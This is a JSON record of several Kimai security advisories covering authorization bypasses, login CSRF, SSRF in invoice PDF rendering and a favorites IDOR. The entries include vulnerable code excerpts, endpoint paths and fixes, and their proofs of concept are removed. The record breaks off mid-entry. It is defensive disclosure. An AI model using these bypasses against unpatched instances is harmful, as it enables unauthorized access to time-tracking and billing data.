[https://www.kimai.org/en/security/ghsa-r8vr-m544-qh4h](https://www.kimai.org/en/security/ghsa-r8vr-m544-qh4h) for more information.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-07-14T00:05:04.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/kimai/kimai/security/advisories/GHSA-r8vr-m544-qh4h","https://github.com/advisories/GHSA-r8vr-m544-qh4h"],"source_kind":"github","identifiers":["GHSA-r8vr-m544-qh4h","CVE-2026-52823"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-14T01:00:09.242Z","updated_at":"2026-08-14T00:01:12.388Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yOHZyLW01NDQtcWg0aM4ABatU","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1yOHZyLW01NDQtcWg0aM4ABatU","packages":[{"ecosystem":"packagist","package_name":"kimai/kimai","versions":[{"first_patched_version":"2.58.0","vulnerable_version_range":"\u003c= 2.57.0"}],"purl":null}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yOHZyLW01NDQtcWg0aM4ABatU/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1jNnc2LTU3amotNjJ2aM4ABatT","url":"https://github.com/advisories/GHSA-c6w6-57jj-62vh","title":"Improper Authorization in Kimai Timesheet Restart and Duplicate Allows New Timesheets After Project Access Revocation","description":"### Summary\n\nKimai 2.56.0 contains an authenticated authorization bypass in the timesheet `restart` and `duplicate` workflows. After a user loses access to a project, the user can still derive a new timesheet from one of their historical entries and create a new record under that now-unauthorized project and activity combination.\n\nThis is a permission revocation bypass with persistent write impact. The issue affects both `restart` and `duplicate`, which trust ownership of an old timesheet more than the user's current access to the underlying project, activity, and customer.\n\n### Details\n\nThe issue affects the following operations:\n\n- `PATCH /api/timesheets/{id}/restart`\n- `PATCH /api/timesheets/{id}/duplicate`\n\nThe root cause is that authorization gives too much weight to the fact that the original timesheet belongs to the current user. In `src/Voter/TimesheetVoter.php`, the `*_own_timesheet` branch is evaluated before team-based access checks.\n\nThe restart/duplicate capability check also verifies only object visibility, not whether the current user still has team-based access to the referenced objects. \n\nIn `src/API/TimesheetController.php`, the restart flow copies the historical `project` and `activity` into a new candidate timesheet.\n\nThe duplicate flow similarly clones the historical record and saves it.\n\nIn `src/Timesheet/TimesheetService.php`, creation of a new running entry still relies on `isGranted('start', $timesheet)`.\n\nFor historical entries that belong to the current user, this logic can still succeed through the `*_own_timesheet` branch even after project access has been revoked. As a result, normal creation pages correctly stop offering the revoked project, but `restart` and `duplicate` can still create new records under it.\n\nThe same weakness also affects the Web duplicate flow because the UI path ultimately calls the same save logic in `src/Controller/TimesheetAbstractController.php`:\n\n*A PoC was provided, but removed for security reasons.*\n\n### Impact\n\nThis vulnerability allows a user to keep writing new time entries into a project after project access has been revoked. That undermines administrative access-control changes and can pollute project time tracking, budget calculations, statistics, reports, and invoicing workflows.\n\nBecause both `restart` and `duplicate` can reuse historical project/activity bindings, old timesheet records effectively become reusable capability tokens that survive later access-control changes. This is not a UI artifact or a caching problem: new database rows are persisted after revocation.\n\n# Solution\n\nThe metoid `TimesheetVoter::canStart()` now checks team access for project and activity. This verification is used for new timesheets and also for the `duplication` and `restart` workflows.\n\nSee [https://www.kimai.org/en/security/ghsa-c6w6-57jj-62vh](https://www.kimai.org/en/security/ghsa-c6w6-57jj-62vh) for more information.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-07-14T00:04:26.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/kimai/kimai/security/advisories/GHSA-c6w6-57jj-62vh","https://github.com/advisories/GHSA-c6w6-57jj-62vh"],"source_kind":"github","identifiers":["GHSA-c6w6-57jj-62vh","CVE-2026-52822"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-14T01:00:09.242Z","updated_at":"2026-08-14T00:01:12.388Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jNnc2LTU3amotNjJ2aM4ABatT","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1jNnc2LTU3amotNjJ2aM4ABatT","packages":[{"ecosystem":"packagist","package_name":"kimai/kimai","versions":[{"first_patched_version":"2.58.0","vulnerable_version_range":"\u003c= 2.57.0"}],"purl":null}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jNnc2LTU3amotNjJ2aM4ABatT/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0zcTZxLTI2dmctdjk3eM4ABatS","url":"https://github.com/advisories/GHSA-3q6q-26vg-v97x","title":"Kimai: Improper Authorization Through Activity Creation with Preset Project Allows Creation Under Unauthorized Projects","description":"### Summary\n\nKimai 2.56.0 contains an authenticated improper authorization vulnerability in the preset-project activity creation flow. A user with the generic `create_activity` permission, but without access to a target project, can still create a new `Activity` under that unauthorized project by visiting the preset project creation route directly.\n\nThis is a persistent cross-project business-object creation issue. The attacker does not need permission to view or edit the target project and only needs to know a valid `project.id`.\n\n### Details\n\nThe issue affects the activity creation entry point that accepts a preset project identifier:\n\n- `GET/POST /en/admin/activity/create/{project}`\n- `GET/POST /en/admin/project/create/{customer}`\n\nIn `src/Controller/ActivityController.php`, the controller checks only the global capability to create activities and does not verify whether the current user is allowed to create an activity under the supplied `Project` object.\n\nThe form and repository path also preserve the preset project instead of rejecting it when the user lacks access.  Because the preset project is merged into the candidate set, the final save operation can persist a new `Activity` under a project that is outside the attacker's authorized project scope.\n\nThe same logic applies to the `src/Controller/ProjectController.php`.\n\n*A PoC was provided, but removed for security reasons.*\n\n### Impact\n\nThis vulnerability allows an authenticated user to inject new child business objects into projects outside their authorized scope. An attacker can pollute another team's project configuration, influence later timesheet selection and rate inheritance, and create conditions for downstream business abuse if other users start using the injected activity.\n\n# Solution\n\n- In `ActivityController` we now validate if the project can be edited with `[IsGranted('edit', 'project')]`\n- In `ProjectController` we now validate if if the customer can be edited with `[IsGranted('edit', 'customer')]`\n\nSee https://www.kimai.org/en/security/ghsa-3q6q-26vg-v97x","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-07-14T00:03:42.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/kimai/kimai/security/advisories/GHSA-3q6q-26vg-v97x","https://www.kimai.org/en/security/ghsa-3q6q-26vg-v97x","https://github.com/advisories/GHSA-3q6q-26vg-v97x"],"source_kind":"github","identifiers":["GHSA-3q6q-26vg-v97x","CVE-2026-52821"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-14T01:00:09.242Z","updated_at":"2026-08-14T00:01:12.389Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zcTZxLTI2dmctdjk3eM4ABatS","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0zcTZxLTI2dmctdjk3eM4ABatS","packages":[{"ecosystem":"packagist","package_name":"kimai/kimai","versions":[{"first_patched_version":"2.57.0","vulnerable_version_range":"\u003c= 2.56.0"}],"purl":null}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zcTZxLTI2dmctdjk3eM4ABatS/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS12cnIyLWc5Z2gtYzNqY84ABatR","url":"https://github.com/advisories/GHSA-vrr2-g9gh-c3jc","title":"Kimai: Timesheet PATCH/POST allows assigning to project outside user's team via query_builder OR-bypass","description":"## Summary\n\nThe Timesheet API `PATCH /api/timesheets/{id}` and `POST /api/timesheets` endpoints accept a user-supplied `project` ID and resolve it through a Symfony `EntityType` whose `query_builder` allows the submitted ID to satisfy the access predicate via an unconditional OR branch. As a result, any authenticated user can re-assign their own timesheet to any project in the database — including projects that belong to teams or customers they have no membership in and cannot otherwise see. The user can then read serialized project/customer details via `GET /api/timesheets/{id}?full=true`, leaking metadata (name, currency, customer hierarchy) that would otherwise be filtered out by the team ACL.\n\n## Details\n\n### Entry point — only ownership is checked in `src/API/TimesheetController.php:317-355`\n\n```php\n#[IsGranted('edit', 'timesheet')]\n#[Route(methods: ['PATCH'], path: '/{id}', name: 'patch_timesheet', requirements: ['id' =\u003e '\\d+'])]\npublic function patchAction(Request $request, Timesheet $timesheet): Response\n{\n    ...\n    $form = $this-\u003ecreateForm(TimesheetApiEditForm::class, $timesheet, [...]);\n    $form-\u003esetData($timesheet);\n    $form-\u003esubmit($request-\u003erequest-\u003eall(), false);\n    if (false === $form-\u003eisValid()) { ... }\n    $this-\u003eservice-\u003esaveTimesheet($timesheet);\n    ...\n}\n```\n\n`src/Voter/TimesheetVoter.php:134-142`:\n\n```php\nif ($subject-\u003egetUser()?-\u003egetId() === $user-\u003egetId()) {\n    return $this-\u003epermissionManager-\u003ehasRolePermission($user, $permission . '_own_timesheet');\n}\n\nif (!$this-\u003epermissionManager-\u003echeckTeamAccessTimesheet($subject, $user)) {\n    return false;\n}\n```\n\nFor an own-timesheet, only `edit_own_timesheet` is required. The voter does **not** look at the *new* project being submitted; it only validates the existing record's ownership.\n\n### Form replays user-controlled project ID into the access query\n\n`src/Form/TimesheetEditForm.php:60-71`:\n\n```php\n$isNew = true;\nif (isset($options['data']) \u0026\u0026 $options['data'] instanceof Timesheet) {\n    ...\n    if (null !== $entry-\u003egetId()) {\n        $isNew = false;\n    }\n    ...\n}\n$this-\u003eaddProject($builder, $isNew, $project, $customer);\n```\n\n`src/Form/FormTrait.php:59-100`:\n\n```php\n$builder-\u003eaddEventListener(\n    FormEvents::PRE_SUBMIT,\n    function (FormEvent $event) use ($builder, $project, $customer, $isNew, $options): void {\n        $data = $event-\u003egetData();\n        $customer = \\array_key_exists('customer', $data) \u0026\u0026 $data['customer'] !== '' ? $data['customer'] : null;\n        $project = \\array_key_exists('project', $data) \u0026\u0026 $data['project'] !== '' ? $data['project'] : $project;\n\n        $event-\u003egetForm()-\u003eadd('project', ProjectType::class, array_merge($options, [\n            'group_by' =\u003e null,\n            'query_builder' =\u003e function (ProjectRepository $repo) use ($builder, $project, $customer, $isNew) {\n                $project = \\is_string($project) ? (int) $project : $project;\n                ...\n                if ($isNew \u0026\u0026 \\is_int($project)) {\n                    $project = $repo-\u003efind($project);\n                    if ($project !== null) {\n                        if (!$project-\u003egetCustomer()-\u003eisVisible()) { ... $project = null; }\n                        elseif (!$project-\u003eisVisible())            { $project = null; }\n                    }\n                }\n                ...\n                $query = new ProjectFormTypeQuery($project, $customer);\n                $query-\u003esetUser($builder-\u003egetOption('user'));\n                $query-\u003esetWithCustomer(true);\n                return $repo-\u003egetQueryBuilderForFormType($query);\n            },\n        ]));\n    }\n);\n```\n\nTwo problems compound:\n\n1. The visibility re-check on line 73 is gated on `$isNew`. For PATCH, `$isNew = false`, so the closure passes the attacker-supplied ID straight through.\n2. Even when `$isNew = true` (POST), the re-check only validates `isVisible()` — it does not validate team membership.\n\n### The query-builder unconditionally accepts the submitted ID\n\n`src/Repository/ProjectRepository.php:150-208`:\n\n```php\npublic function getQueryBuilderForFormType(ProjectFormTypeQuery $query): QueryBuilder\n{\n    ...\n    $mainQuery = $qb-\u003eexpr()-\u003eandX();\n    $mainQuery-\u003eadd($qb-\u003eexpr()-\u003eeq('p.visible', ':visible'));\n    $mainQuery-\u003eadd($qb-\u003eexpr()-\u003eeq('c.visible', ':customer_visible'));\n    if (!$query-\u003eisIgnoreDate()) { ... }\n    if ($query-\u003ehasCustomers()) { ... }\n\n    $permissions = $this-\u003egetPermissionCriteria($qb, $query-\u003egetUser(), $query-\u003egetTeams());\n    if ($permissions-\u003ecount() \u003e 0) {\n        $mainQuery-\u003eadd($permissions);\n    }\n\n    $outerQuery = $qb-\u003eexpr()-\u003eorX();\n    if ($query-\u003ehasProjects()) {\n        $outerQuery-\u003eadd($qb-\u003eexpr()-\u003ein('p.id', ':project'));     // \u003c-- unconditional\n        $qb-\u003esetParameter('project', $query-\u003egetProjects());\n    }\n    ...\n    $outerQuery-\u003eadd($mainQuery);\n    $qb-\u003eandWhere($outerQuery);\n    return $qb;\n}\n```\n\nThe final WHERE clause is roughly:\n\n```\nWHERE (p.id IN (:project)) OR (p.visible AND c.visible AND \u003cdate\u003e AND \u003cteam-ACL\u003e)\n```\n\nBecause `:project` is the submitted ID itself, the first branch matches unconditionally, completely bypassing the team-ACL applied by `getPermissionCriteria`. Symfony's `EntityType` happily resolves the foreign `Project` entity, the form passes validation, and the timesheet is persisted with the new `project_id`.\n\n### No downstream validation closes the gap\n\n- `TimesheetService::saveTimesheet` → `updateTimesheet` (`src/Timesheet/TimesheetService.php:154-177`) is explicitly documented as *not* validating.\n- `TimesheetBasicValidator` only validates begin/end and project/activity coherence.\n- `TimesheetDeactivatedValidator::validateActivityAndProject` (`src/Validator/Constraints/TimesheetDeactivatedValidator.php:36-42`) returns early for non-running existing timesheets.\n- No validator anywhere in the timesheet pipeline checks that the project's team membership intersects the acting user's teams.\n\n*A PoC was provided, but removed for security reasons.*\n\n## Impact\n\n- **Integrity:** any authenticated user can attribute their own tracked time to any project ID in the database — including projects belonging to teams/customers they cannot see. This pollutes per-project budgets, billing exports and reports for other teams. There is no in-app warning that records belonging to outsiders have been added.\n- **Confidentiality:** by reading the timesheet back via `?full=true`, the attacker obtains serialized project and customer details (name, currency, start/end dates, customer hierarchy) which would normally be filtered by the team ACL.\n- **Privilege model:** the `edit_own_timesheet` permission is part of the default ROLE_USER, so the bypass is reachable by every regular user without any administrator action.\n\nThe blast radius is bounded by what an attacker can persist (their own timesheet rows) and what the `?full=true` serializer exposes — there is no direct ability to modify other teams' existing data.\n\n## Solution\n\n- The FormTrait was updated to only pass the project forward for new timesheets\n- A new `TimesheetTeamAccessValidator`was added, which checks if `project` or `activity` were changed. If that is the case, the team access permission is checked first\n\nFind out more at [https://www.kimai.org/en/security/ghsa-vrr2-g9gh-c3jc](https://www.kimai.org/en/security/ghsa-vrr2-g9gh-c3jc)","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-07-13T23:55:35.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/kimai/kimai/security/advisories/GHSA-vrr2-g9gh-c3jc","https://github.com/advisories/GHSA-vrr2-g9gh-c3jc"],"source_kind":"github","identifiers":["GHSA-vrr2-g9gh-c3jc","CVE-2026-52820"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-14T00:00:09.455Z","updated_at":"2026-08-14T00:01:12.389Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12cnIyLWc5Z2gtYzNqY84ABatR","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS12cnIyLWc5Z2gtYzNqY84ABatR","packages":[{"ecosystem":"packagist","package_name":"kimai/kimai","versions":[{"first_patched_version":"2.57.0","vulnerable_version_range":"\u003c= 2.56.0"}],"purl":null}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12cnIyLWc5Z2gtYzNqY84ABatR/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS00bThxLTU1cXYtOXB3cM4ABatQ","url":"https://github.com/advisories/GHSA-4m8q-55qv-9pwp","title":"Kimai: Teamlead authorization bypass in GET /api/timesheets allows reading other users' timesheet records without being teamlead of the target","description":"## Summary\n\n`GET /api/timesheets?user=\u003cid\u003e` (and `users[]=\u003cid\u003e`) returns the targeted user's timesheet records to any caller that has the `view_other_timesheet` permission, without verifying that the caller is teamlead of any team containing the target user. The per-record endpoint `GET /api/timesheets/{id}` correctly enforces this check via `TimesheetVoter`/`RolePermissionManager::checkTeamAccessTimesheet` → `checkTeamLeadAccess`, but the list endpoint only filters projects/customers by team membership and never validates `t.user`. A `ROLE_TEAMLEAD` user can therefore enumerate any user's records — including the `rate` field — as long as those records are on a project with no team scoping (Kimai's default) or on any project that shares any team (membership, not lead) with the requester.\n\n## Details\n\n**Root cause:** authorization mismatch between the per-record voter and the list endpoint.\n\n### Per-record path (correct)\n\n`src/Voter/TimesheetVoter.php:138`:\n```php\nif (!$this-\u003epermissionManager-\u003echeckTeamAccessTimesheet($subject, $user)) {\n    return false;\n}\nreturn $this-\u003epermissionManager-\u003ehasRolePermission($user, $permission . '_other_timesheet');\n```\n\n`checkTeamLeadAccess` (RolePermissionManager.php:143-160) requires `isTeamleadOf` (not just member) one of the **target user's** teams. The unit test `testTeamleadDeniedWhenOnlyPlainMemberOfOwnerTeam` (tests/Voter/TimesheetVoterTest.php:253-269) codifies this:\n\n\u003e *\"a TEAMLEAD role with `view_other_timesheet` must not access another user's timesheet by being a plain team member — they must be the team's teamlead.\"*\n\n### List path (vulnerable)\n\n`src/API/TimesheetController.php:97-119`:\n```php\npublic function cgetAction(ParamFetcherInterface $paramFetcher, ..., UserRepository $userRepository): Response\n{\n    $query = new TimesheetQuery(false);\n    $this-\u003eprepareQuery($query, $paramFetcher);\n    $seeAll = false;\n\n    if ($this-\u003eisGranted('view_other_timesheet')) {\n        /** @var array\u003cint\u003e $users */\n        $users = $paramFetcher-\u003eget('users');\n        $userId = $paramFetcher-\u003eget('user');\n\n        if ('all' === $userId) {\n            $seeAll = true;\n        } elseif (\\is_string($userId) \u0026\u0026 $userId !== '') {\n            $users[] = (int) $userId;\n        }\n\n        if (!$seeAll) {\n            foreach ($userRepository-\u003efindByIds($users) as $user) {\n                $query-\u003eaddUser($user);   // \u003c-- no teamlead-of-target check\n            }\n        }\n    }\n    ...\n```\n\n`config/packages/kimai.yaml:96,115` grants `TIMESHEET_OTHER` (which contains `view_other_timesheet`) to `ROLE_TEAMLEAD`, so the gate at line 103 passes for any teamlead. The `user=` / `users[]=` IDs are pushed straight into the query.\n\n### Net effect\n\nFor any victim `bob` who:\n- has at least one team that the requester `alice` is **not** teamlead of (so the voter denies per-record access), AND\n- has timesheets either on a project with no team (Kimai's default), or on a project that shares any team with `alice` (membership, not lead)\n\n`alice` is denied via `GET /api/timesheets/{id}` but receives `bob`'s records via `GET /api/timesheets?user=\u003cbob_id\u003e`.\n\nDisclosed fields in the collection response include `description`, `begin`, `end`, `duration`, `billable`, `exported`, `tags`, `rate`, `internalRate`, plus project/activity/user IDs (Default/Collection serializer groups, Timesheet.php:164-173). `rate` is financial data that the per-record voter is supposed to gate via the separate `view_rate_other_timesheet` permission.\n\n### Why other proposed mitigations don't apply\n- The `view_other_timesheet` `IsGranted` on the route is the only authorization layer in the list path; ROLE_TEAMLEAD has it globally.\n- `prepareQuery` only sets `currentUser`, not authorization (BaseApiController.php:68-71).\n- The serializer does not filter `rate` per caller — it is a static `Default`-group property.\n- Recent commit 20c7b03 \"Re-usable ACL checks on teams\" hardened the voter side but left the list endpoint unchanged.\n\n*A PoC was provided, but removed for security reasons.*\n\n## Impact\n\n- **Authorization bypass**: a `ROLE_TEAMLEAD` (a non-admin role typically granted to multiple users in a Kimai instance) can read any other user's timesheet records\n- **Financial data disclosure**: the `rate` and `internalRate` fields are returned in the collection serializer group, leaking what gets billed/costed against any user's records.\n- **PII / activity disclosure**: per-entry `description`, `begin`, `end`, `duration`, `billable`, `exported`, project/activity/customer IDs, and tags are leaked, allowing reconstruction of any user's activity timeline.\n\n# Solution\n\nThe list of requested user `TimesheetController::cgetAction()` is now guarded with the `access_user` permission.\nThe `access_user` permission verifies that the requesting user is allowed to see each of the requested user.\nIf any of the requested users may not be seen, the entire call will fail.\n\nFind out more at [https://www.kimai.org/en/security/ghsa-4m8q-55qv-9pwp](https://www.kimai.org/en/security/ghsa-4m8q-55qv-9pwp)","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-07-13T23:55:16.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/kimai/kimai/security/advisories/GHSA-4m8q-55qv-9pwp","https://github.com/advisories/GHSA-4m8q-55qv-9pwp"],"source_kind":"github","identifiers":["GHSA-4m8q-55qv-9pwp","CVE-2026-52819"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-14T00:00:09.455Z","updated_at":"2026-08-14T00:01:12.390Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00bThxLTU1cXYtOXB3cM4ABatQ","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS00bThxLTU1cXYtOXB3cM4ABatQ","packages":[{"ecosystem":"packagist","package_name":"kimai/kimai","versions":[{"first_patched_version":"2.57.0","vulnerable_version_range":"\u003c= 2.56.0"}],"purl":null}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00bThxLTU1cXYtOXB3cM4ABatQ/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1wZ2NjLXZmbWMtN2N3Nc4ABatP","url":"https://github.com/advisories/GHSA-pgcc-vfmc-7cw5","title":" Kimai: Login CSRF in Default Team Creation Endpoints Allows Unauthorized Team and Permission Structure Changes","description":"### Summary\n\nKimai 2.56.0 contains authenticated cross-site request forgery issues in its default team creation shortcuts for projects, customers, and activities. These endpoints are exposed through `GET` routes and directly create or reuse a `Team`, add the current user as teamlead, and bind the target object to that team.\n\nAs a result, an attacker can trick a logged-in user with the required permissions into visiting a malicious page and cause unauthorized changes to team, teamlead, and object-binding relationships. This is a real authorization-structure modification issue rather than a harmless UI shortcut.\n\n### Details\n\nThe issue affects at least the following routes:\n\n- `GET /en/admin/project/{id}/create_team`\n- `GET /en/admin/customer/{id}/create_team`\n- `GET /en/admin/activity/{id}/create_team`\n\nEach of these routes is a `GET` endpoint, yet each performs persistent writes that alter authorization structure:\n\n- create or reuse a `Team`\n- add the current user as `teamlead`\n- bind the target `Project`, `Customer`, or `Activity` to that team\n\n*A PoC was provided, but removed for security reasons.*\n\n### Impact\n\nThis vulnerability allows an attacker to remotely alter permission topology while the victim is logged in. A successful exploit can create or reuse a team, assign the victim as its teamlead, and bind a project, customer, or activity to that team without intentional user action.\n\nThe pre-requisite is, that the logged-in user already has access to manage permissions of the object in question.\n\nBecause these routes modify authorization structure rather than a simple personal preference, the business impact can extend into visibility rules, assignment scope, team-based access control, reporting, and later privilege-expansion chains. This makes the issue materially more serious than a low-value cosmetic CSRF.\n\n## Solution\n\n- The routes have been moved to API `POST` endpoints\n\nSee https://www.kimai.org/en/security/ghsa-pgcc-vfmc-7cw5","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-07-13T23:55:01.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/kimai/kimai/security/advisories/GHSA-pgcc-vfmc-7cw5","https://www.kimai.org/en/security/ghsa-pgcc-vfmc-7cw5","https://github.com/advisories/GHSA-pgcc-vfmc-7cw5"],"source_kind":"github","identifiers":["GHSA-pgcc-vfmc-7cw5","CVE-2026-49992"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-14T00:00:09.455Z","updated_at":"2026-08-14T00:01:12.390Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wZ2NjLXZmbWMtN2N3Nc4ABatP","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1wZ2NjLXZmbWMtN2N3Nc4ABatP","packages":[{"ecosystem":"packagist","package_name":"kimai/kimai","versions":[{"first_patched_version":"2.58.0","vulnerable_version_range":"\u003c= 2.57.0"}],"purl":null}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wZ2NjLXZmbWMtN2N3Nc4ABatP/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1wajhqLXA0ZzQtNHZ3OM4ABagf","url":"https://github.com/advisories/GHSA-pj8j-p4g4-4vw8","title":"Kimai has Server-Side Request Forgery in Invoice PDF Rendering via Markdown Image URLs","description":"### Summary\n\nKimai 2.56.0 contains a server-side request forgery vulnerability in its invoice PDF preview and generation workflow. If an attacker can control Markdown content that is later rendered into an invoice PDF, such as `Customer.invoiceText`, the server-side PDF renderer will fetch remote image URLs embedded in Markdown image syntax.\n\nThis allows the application server to issue outbound requests to attacker-controlled or internal targets during PDF rendering. The behavior can be used for internal network probing, server-side reachability checks, and potentially follow-on exploitation depending on deployment environment and accessible internal services.\n\n### Details\n\nThe vulnerable behavior occurs in the invoice rendering chain when user-controlled Markdown is transformed into HTML and then rendered by mPDF.\n\n- First, customer invoice text is copied into the invoice model.\n. Second, the default PDF invoice template renders that field through the Markdown-to-HTML filter. \n- Third, `md2html` enables full Markdown rendering. \n- Although safe mode is enabled, the tested Markdown image syntax still survives into the rendered HTML chain in a form that causes the PDF renderer to fetch the image resource.\n- Finally, the HTML is handed to mPDF. \n\nThe live test confirms that mPDF attempts to retrieve the remote image URL from the server side during PDF preview. This means the issue is not a template-injection problem but an SSRF condition caused by the rendering pipeline:\n\n- attacker-controlled Markdown\n- Markdown converted to HTML\n- HTML rendered by mPDF\n- mPDF fetches remote image resources from the server side\n\n*A PoC was provided, but removed for security reasons.*\n\n### Impact\n\nThis vulnerability allows an attacker who can influence invoice-rendered Markdown fields to cause the Kimai server to make outbound requests to arbitrary destinations. In real deployments, this can be used to probe internal services, test access to internal administrative or metadata endpoints, and confirm server-side reachability to attacker-controlled infrastructure.\n\nDepending on the environment, SSRF can also become a stepping stone toward more serious outcomes, such as triggering side effects on internal HTTP services or extracting sensitive information from services reachable only by the server. Because invoice generation is commonly performed by administrative or finance-related users, the feature is realistically reachable in business workflows.\n\n# Solution\n\n- Kimai does not allow to use markdown images any longer and converts them to HTML links instead\n- Kimai uses a specialized HttpClient for mPDF (called `NoPrivateNetworkHttpClient`), which prevents access to a variety of URLs, the full list can be fetched [from the documentation](https://www.kimai.org/documentation/pdf-templates.html#embedding-images)\n- This change can be a BC break, if someone used \n  - the Kimai domain for hosting invoice or export template images \n  - an internal IP for hosting invoice or export template images \n\nSee https://www.kimai.org/en/security/ghsa-pj8j-p4g4-4vw8","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-07-10T16:04:40.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N","references":["https://github.com/kimai/kimai/security/advisories/GHSA-pj8j-p4g4-4vw8","https://github.com/advisories/GHSA-pj8j-p4g4-4vw8"],"source_kind":"github","identifiers":["GHSA-pj8j-p4g4-4vw8","CVE-2026-49865"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-10T17:00:09.767Z","updated_at":"2026-08-14T00:01:14.824Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wajhqLXA0ZzQtNHZ3OM4ABagf","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1wajhqLXA0ZzQtNHZ3OM4ABagf","packages":[{"ecosystem":"packagist","package_name":"kimai/kimai","versions":[{"first_patched_version":"2.58.0","vulnerable_version_range":"\u003c= 2.57.0"}],"purl":null}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wajhqLXA0ZzQtNHZ3OM4ABagf/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1qNW1jLXA4cWctMzlqN84ABaF_","url":"https://github.com/advisories/GHSA-j5mc-p8qg-39j7","title":"Kimai Favorite Timesheet Add and Remove Endpoints Allows Cross-User Bookmark Manipulation","description":"### Summary\n\nKimai 2.56.0 contains an authenticated improper authorization / IDOR vulnerability in the favorite timesheet add and remove endpoints. A low-privileged user who knows another user's `timesheet.id` can add that record to, or remove it from, the victim's `favorite/recent` bookmark list. This allows cross-user manipulation of per-user favorite state without administrative privileges.\n\n### Details\n\nThe issue affects the following routes:\n\n- `GET /en/favorite/timesheet/add/{id}`\n- `GET /en/favorite/timesheet/remove/{id}`\n\nBoth endpoints accept a user-controlled timesheet identifier and only require the caller to hold the generic `start_own_timesheet` permission. They do not verify that the referenced `Timesheet` object belongs to the currently authenticated user.\n\n- In `src/Controller/FavoriteController.php`, the controller methods accept a `Timesheet` object directly and forward it to the favorite service. \n- The root cause becomes more obvious in `src/Timesheet/FavoriteRecordService.php`. The bookmark owner is derived from `$timesheet-\u003egetUser()` instead of the current session user.\n- Because of this design, any authenticated user who can reference another user's timesheet ID can modify the victim's `favorite/recent` bookmark data.\n\n*A PoC was provided, but removed for security reasons.*\n\n### Impact\n\nThis vulnerability allows any authenticated low-privileged user to 